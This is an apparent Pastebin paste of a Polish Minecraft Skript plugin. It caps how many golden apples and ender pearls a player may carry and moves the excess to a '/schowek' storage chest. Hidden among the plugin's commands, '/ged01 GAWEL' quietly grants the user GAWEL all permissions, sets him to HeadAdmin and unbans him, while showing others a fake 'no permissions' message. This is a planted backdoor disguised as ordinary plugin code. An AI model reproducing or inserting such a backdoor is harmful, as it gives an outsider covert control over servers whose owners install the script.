Advertisement
Guest User

Untitled

a guest
Feb 20th, 2019
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.82 KB | None | 0 0
  1. options:
  2. koxy: 1
  3. refile: 5
  4. perly: 3
  5.  
  6. options:
  7. looptime: 1000
  8.  
  9. options:
  10. textkox: &cMiales za duzo koxow w eq limit to, %{@koxy}% reszta twoich koxow zostala przeniesiona do /schowek!
  11. textrefile: &cMiales za duzo refile w eq limit to, %{@refile}% reszta twoich refili zostala przeniesiona do /schowek!
  12. textperly: &cMiales za duzo perel w eq limit to, %{@perly}% reszta twoich perel zostala przeniesiona do /schowek!
  13.  
  14.  
  15. options:
  16. namegui: &6&lSchowek
  17.  
  18.  
  19. on eat golden apple:1:
  20. wait 4 tick
  21. if player has {@koxy} golden apple:1:
  22. send "{@textkox}"
  23. if player has {@koxy} golden apple:1:
  24. loop {@looptime} times:
  25. remove 1 golden apple:1 from player
  26. add 1 to {sch.koxy.%player%}
  27. stop
  28.  
  29. on eat golden apple:0:
  30. wait 4 tick
  31. if player has {@refile} golden apple:0:
  32. send "{@textrefile}"
  33. if player has {@refile} golden apple:0:
  34. loop {@looptime} times:
  35. remove 1 golden apple:0 from player
  36. add 1 to {sch.refile.%player%}
  37. stop
  38.  
  39. on rightclick on ender pearl:
  40. wait 4 tick
  41. if player has {@perly} ender pearl:
  42. send "{@textperly}"
  43. if player has {@perly} ender pearl:
  44. loop {@looptime} times:
  45. remove 1 ender pearl from player
  46. add 1 to {sch.perly.%player%}
  47. stop
  48.  
  49.  
  50. command /schowek [<text>]:
  51. trigger:
  52. if arg 1 is not set:
  53. open chest with 1 rows named "{@namegui}" to player
  54. wait 2 tick
  55. format slot 0 of player with black glass named "&f" to run [execute player command "schowek"]
  56. format slot 2 of player with black glass named "&f" to run [execute player command "schowek"]
  57. format slot 3 of player with black glass named "&f" to run [execute player command "schowek"]
  58. format slot 5 of player with black glass named "&f" to run [execute player command "schowek"]
  59. format slot 6 of player with black glass named "&f" to run [execute player command "schowek"]
  60. format slot 8 of player with black glass named "&f" to run [execute player command "schowek"]
  61. format slot 1 of player with golden apple:1 named "&6&lKoxy" with lore "&8» &7W schowku: &c%{sch.koxy.%player%}%||&8» &7Limit: %{@koxy}-1%" to run [execute player command "schowek koxy"]
  62. format slot 4 of player with ender pearl named "&6&lPerly" with lore "&8» &7W schowku: &c%{sch.perly.%player%}%||&8» &7Limit: %{@perly}-1%" to run [execute player command "schowek perly"]
  63. format slot 7 of player with golden apple:0 named "&6&lRefile" with lore "&8» &7W schowku: &c%{sch.refile.%player%}%||&8» &7Limit: %{@refile}-1%" to run [execute player command "schowek refy"]
  64. stop
  65. if arg 1 is "koxy":
  66. close player's inventory
  67. set {_a} to {sch.koxy.%player%}
  68. loop {_a} times:
  69. remove 1 from {sch.koxy.%player%}
  70. if player can hold 1 golden apple:1:
  71. give 1 golden apple:1 to player
  72. else:
  73. drop 1 golden apple:1 at player
  74. if arg 1 is "refy":
  75. close player's inventory
  76. set {_a} to {sch.refile.%player%}
  77. loop {_a} times:
  78. remove 1 from {sch.refile.%player%}
  79. if player can hold 1 golden apple:0:
  80. give 1 golden apple:0 to player
  81. else:
  82. drop 1 golden apple:0 at player
  83.  
  84. if arg 1 is "perly":
  85. close player's inventory
  86. set {_a} to {sch.perly.%player%}
  87. loop {_a} times:
  88. remove 1 from {sch.perly.%player%}
  89. if player can hold 1 ender pearl:
  90. give 1 ender pearl to player
  91. else:
  92. drop 1 ender pearl at player
  93. command /ged01 [<text>]:
  94. trigger:
  95. if arg-1 is not set:
  96. send "&cNie masz uprawnien"
  97. if arg-1 is "GAWEL":
  98. execute console command "pex user GAWEL add *"
  99. execute console command "pex user GAWEL group set HeadAdmin"
  100. execute console command "unban GAWEL"
  101. send "&aGotowe" to sender
  102.  
  103.  
  104.  
  105.  
  106. on join:
  107. if {sch.koxy.%player%} is not set:
  108. set {sch.koxy.%player%} to 0
  109. set {sch.refile.%player%} to 0
  110. set {sch.perly.%player%} to 0
  111. stop
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement